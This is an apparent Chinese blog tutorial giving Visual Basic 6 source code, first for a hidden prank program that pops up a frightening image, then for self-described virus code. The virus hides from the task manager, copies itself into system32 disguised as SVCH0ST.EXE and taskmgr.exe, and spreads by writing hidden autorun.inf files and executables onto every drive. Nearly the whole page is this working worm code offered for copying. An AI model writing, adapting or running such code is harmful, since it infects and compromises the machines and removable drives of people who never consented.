首先新建一个文件夹,放一张比较吓人的图片,名称为“3.jpg”。
在vb中新建工程,创建一个计时器,interval设为1000。窗体的borderstyie设为0。
输入如下代码:
Dim a, x As Integer
Dim b As Boolean
Private Sub Form_Load()
Form1.Picture = LoadPicture(App.Path &"\3.jpg")
a = 0
b = False
Form1.Hide
'Shell "cmd /c taskkill /im explorer.exe /f"
End Sub
Private Sub Timer1_Timer()
App.TaskVisible = False
If a = 120 Then
Form1.Show
b = True
a = 0
Else
a = a + 1
End If
If b = True Then
x = x + 1
End If
If x = 10 Then
Form1.Hide
x = 0
b = False
End If
End Sub
Private Sub Form_DblClick()
End
End Sub
双击后窗体关闭,否则每隔120秒打开窗体10秒。 (程序可执行文件放入与图片相同的文件夹)
Dim num, nums '驱动器数Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化!
'不准重复运行本病毒!
If App.PrevInstance Then
End
End If
'在任务管理器中隐身!
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数!
a2
'设置时间:为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"
'得到系统目录!得到后,自我复制到SYSTEM32下!
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) &"\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) &"\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) &"\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数!
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <>nums Then
If num >nums Then
a1
End If
If num <nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path &"\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " &App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path &"\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path &"\" &App.EXEName &".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"
SetAttr Chr(dirid) &":\autorun.inf", vbHidden
SetAttr Chr(dirid) &" :\autorun.exe", vbHidden
Next
err1:
End Sub
后缀改为vbs
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)